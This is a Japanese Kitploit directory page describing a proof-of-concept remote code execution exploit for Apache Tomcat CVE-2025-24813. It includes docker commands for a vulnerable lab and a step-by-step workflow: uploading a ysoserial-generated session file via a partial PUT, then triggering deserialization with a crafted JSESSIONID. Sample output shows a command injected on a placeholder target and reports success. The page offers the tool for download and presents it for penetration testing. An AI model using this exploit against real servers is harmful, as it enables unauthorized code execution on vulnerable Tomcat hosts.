Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-24813 — Apache Tomcat の脆弱性 CVE-2025-24813 の概念実証(PoC)スクリプト。 | Kitploit
ツール/GitHubGitHub/hakankarabacak/cve-2025-24813
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツールペイロード開発
GitHubhakankarabacak/cve-2025-24813

CVE-2025-24813

Apache Tomcat の脆弱性 CVE-2025-24813 の概念実証(PoC)スクリプト。

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-24813

Apache Tomcat の脆弱性 CVE-2025-24813 に対する Proof of Concept (PoC) スクリプト。

このスクリプトは、関連リンク を基に修正し、自分のニーズに合わせて調整しました。

脆弱なTomcat環境のセットアップ

公式のTomcat 9.0.90イメージをベースにした環境です。サーバーの読み取り専用制限を解除し、セッションデータをディスクに保存するように構成します。その後、ROOT.warファイルをTomcatのwebapps/ディレクトリにコピーして、アプリケーションを自動的にデプロイします。

root@kitploit:~
docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813

ワークフロー

  1. Content-Range ヘッダーを含む check.txt ファイルを配置し、サーバーがPUTリクエストを受け入れているか確認します。
  2. サーバーが書き込み可能な場合、ysoserial を使用して目的のコマンドのペイロードを生成します。
  3. PUTリクエストを介して悪意のあるセッションファイルをディレクトリにアップロードし、セッションIDとファイル名に関連付けます。
  4. カスタムの JSESSIONID を含むGETリクエストを送信し、デシリアライゼーションをトリガーします。
  5. 一時的なペイロードファイルをディレクトリから削除します。

使用方法

root@kitploit:~
$ python3 cve_2025_24813.py

██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ███████╗      ██████╗ ██╗  ██╗ █████╗  ██╗██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝      ╚════██╗██║  ██║██╔══██╗███║╚════██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗███████║      ███████╗     ██║╚█████╔╝ ██║██████╔╝
╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚══════╝      ╚══════╝     ╚═╝ ╚════╝  ╚═╝╚═════╝
 
                 --- Apache Tomcat Remote Code Execution PoC by Hakan Karabacak ---

Enter target URL (e.g., http://target.com:8080): http://target.com:8080
Enter command to execute (default: bash -c echo${IFS}$(id)>/tmp/RCE): 
Enter path to ysoserial.jar (default: ysoserial.jar): 
Enter ysoserial gadget chain (default: CommonsCollections6): 
[*] Session ID: hk1337
[+] Server is writable via PUT: http://target.com:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/RCE
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://target.com:8080/hk1337.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://target.com:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser

PoC

https://github.com/user-attachments/assets/5a271e6f-1126-459a-852b-603f39a68616

ツールをダウンロード